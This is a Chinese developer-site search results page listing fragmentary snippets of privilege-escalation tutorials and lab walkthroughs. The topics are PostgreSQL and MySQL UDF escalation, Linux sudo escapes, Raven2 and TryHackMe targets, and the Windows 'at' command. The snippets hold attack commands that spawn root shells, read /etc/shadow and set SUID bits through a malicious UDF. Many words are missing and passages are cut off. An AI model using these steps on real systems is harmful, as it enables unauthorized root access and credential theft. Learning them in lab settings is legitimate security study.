首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

postgresqlUDF

遇到了处接管Postgresql,但是........我tm竟然没有用他来。后来经大哥提醒才知道这里可以利用UDF进行。遂为了下一次不再翻车,写下这篇笔记。...图片0x01正文--------第一步,先查看一postgresql的版本select version();图片这里就知道了postgresql的版本是10.7接下来需要去官网下载对应环境的源码,然后编译它...fPIC -o lib\_postgresqludf\_sys.sostrip -sx lib\_postgresqludf\_sys.so图片接下来输出.so文件的十六进制并利用postgresql_udf_help...生成分片后的sql语句cat lib\_postgresqludf\_sys.so | xxd -ps | tr -d "\n" > 1.txtpython2 postgresql\_udf\_help.py...text AS '/tmp/testeval.so', 'sys\_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;图片最后尝试执行命令,成功图片

48520
您找到你想要的搜索结果了吗?
是的
没有找到

MySQl mof、udf过程详解

MySQL 〇、Mysql的必备条件 Mysql的服务没有降,并且需要获取Mysql root账号密码 使用net user命令查看系统当前帐号,如果出现Mysql这类用户,则系统可能进行了降...可修改mysql配置文件(Windows下为my.ini, Linux的my.cnf),在[mysqld]下面 修改完配置文件后,重启mysql生效。... 0、原理 UDF:用户自定义函数、通过添加新函数、对mysql进行功能扩充 官方定义:UDF是mysql的一个拓展接口,UDF(Userdefined function)可翻译为用户自定义函数,这个是用来拓展...使用MSF中的 exploit/multi/mysql/mysql_udf_payload 模块也可以进行UDF。...而且也不能使用其他等手段。所以,我们现在要做的就是使用UDF进行

15510

Linux(基于靶场)

ash也是一种shell,占用资源很少的,管理员可能开启 sudo ash awk是一个强大的文本分析工具 sudo awk 'BEGIN {system("/bin/sh")}' 使用这个命令可以直接到...root bash bash sudo bash csh同样是一种shell sudo csh curl sudo curl file:///etc/shadow dash 一些小型设备可能安装.../bin/sh env查询环境变量,可以查询环境变量的时候执行一bin/sh文件 sodu env /bin/sh expect自动化交互套件,执行程序的时候可以交互 sudo expect -c.../bin/sh sudo man man man命令的详细解释 man命令是Linux的帮助指令,执行两次出现问题后输入下面的代码读取使用bin/sh !...sudo perl -e 'exec "/bin/sh";' tclsh 脚本语言 sudo tclsh exec /bin/sh @stdout 2>@stderr git

4.3K40

udf学习-VulnhubRaven2靶机

先nmap扫一存活端口 可以发现有22,80,111这几个端口 首先从web下手,dirb扫一目录可以知道是个wp站点 并且发现/vendor目录存在目录遍历 在/vendor/PATH目录下发现...以及其绝对路径 在/vendor/VERSION目录下得知PHPMailer版本号5.2.16 在kali中搜索phpmailer可以发现有个PHPMailer<5.2.18-远程命令执行 修改一直接打...-c 'import pty;pty.spawn("/bin/bash")' 通过find命令找到flag3图片的路径 成功登入mysql后,可以看到是mysql5.5.60 接着我们尝试使用udf...,搜一可以看到一个可利用的 然后我们将1518.c本地编译一再上传 开启web服务 然后wget传进去1518.so 上传成功后,在靶机上链接mysql数据库并操作 create table...integer soname '1518.so'; select * from mysql.func; select do_system('chmod u+s /usr/bin/find'); 最后后得到

49620

通过靶场让你了解Mysql UDF

这次通过VulnHUB靶场的Raven2来演示Mysql UDF,靶机地址: https://www.vulnhub.com/entry/raven-2,269/ 下载完靶机后直接安装并运行靶机...wp-config.php中找到密码 ok,接下来登录数据库,查看版本,是否进行udf 尝试UDF之前,先获取plugin路径 show variables like "%plugin%"; 然后直接复制...msf中udf脚本出来,安照脚本中的注释说明,按步骤生成’.so‘文件后上传至目标机plugin路径 这是在线msf脚本地址: https://www.exploit-db.com/exploits...这里的chmod u+s /usr/bin/find当然也可以换成其他linux命令,回车后都会直接已root执行,只不过给find命令添加suid权限,更加方便与节省时间 select do_system...接下来我们就可以使用find来执行任何命令了 可以看见,通过find命令来执行的所有命令权限都为root权限,成功。然后很顺利的就找到了flag,这里有个小知识点,’find .

11810

Raven2靶机-PHPMailer命令执行、udf复现

以后的版本中,存在于‘mysql/lib/plugin’目录下,文件后缀为‘.dll’,常用c语言编写 UDF原理 用户可以自定义的函数(比如执行系统命令)来进行。...UDF条件 1.Mysql版本大于5.1时,udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。...2.Mysql版本小于5.1版本时,udf.dll文件在Windows2003放置于c:\windows\system32,在windows2000放置于c:\winnt\system32。.../LinEnum.sh 9.利用UDF,先找到exp文件(/usr/share/exploitdb/exploits/linux/local/1518.c) 10.编译exp gcc -g -c 1518...shared -Wl,-soname,1518.so -o 1518.so 1518.o -lc 11.上传1518.so文件到靶机(可以创建webshell用蚁剑连接上传) 12.连接mysql 13.

79820

TryHackMe之Linux

可以使用sudo -l命令列出用户可以使用sudo运行的所有命令 ls 虽然是linux常见命令,但在寻找潜在的途径,使用-la参数显示隐藏文件(以点开头)以及更详细的文件权限和其他信息,以避免错过潜在的文件或目录...阅读漏洞利用代码提供的所有注释和说明 您可以分别使用 SimpleHTTPServer Python 模块和 wget 将漏洞利用代码从您的机器传输到目标系统 Sudo 默认情况,sudo命令允许用户以...Cron Jobs Cron jobs用于在特定时间运行脚本或二进制文件。默认情况,它们以其所有者而不是当前用户的权限运行。...这样在这个路径创建一个同名的脚本,它应该由 cron jobs 运行。 PATH Linux 中的 PATH 是一个环境变量,它告诉操作系统在哪里搜索可执行文件。...此的关键元素是文件中的no_root_squash选项。默认情况,NFS会将root用户更改为nfsnobody,并阻止任何文件以root权限运行。

1.2K30

(一) AT命令

就是一个低权限向高权限转化的过程 基于之前的文章,我们获取了一个低权限账户,现在朝着高权限进发 我们现在既然有了低权限账号密码,那么我们就可以登陆3389等远程服务,从而使用一些本地的方法 在开始之前...,我们还是需要先了解一各个操作系统之间的权限分配 Windows User Administrator System 之前在第一期培训时候我说错了一个观点就是说...权限 ---- at命令 这个方法相对来说有些古老,之前我在一些技术书籍中还能看到 at 命令的原理是at 命令是一个计划命令,可以在规定时间完成一些操作,这个命令调用的是system权限 Win2003...可以看到我们的权限已经是system了 这个是本地,我们看看能不能远程(3389属于本地了哈) 远程需要反弹一个system的shell,我们以nc为例 首先我们用echo命令吧需要执行的命令写入到批处理中...,之后定时执行批处理文件 最好把文件写入到没有空格的路径,我把nc已经拷贝到c盘根目录了 ?

3.4K30
领券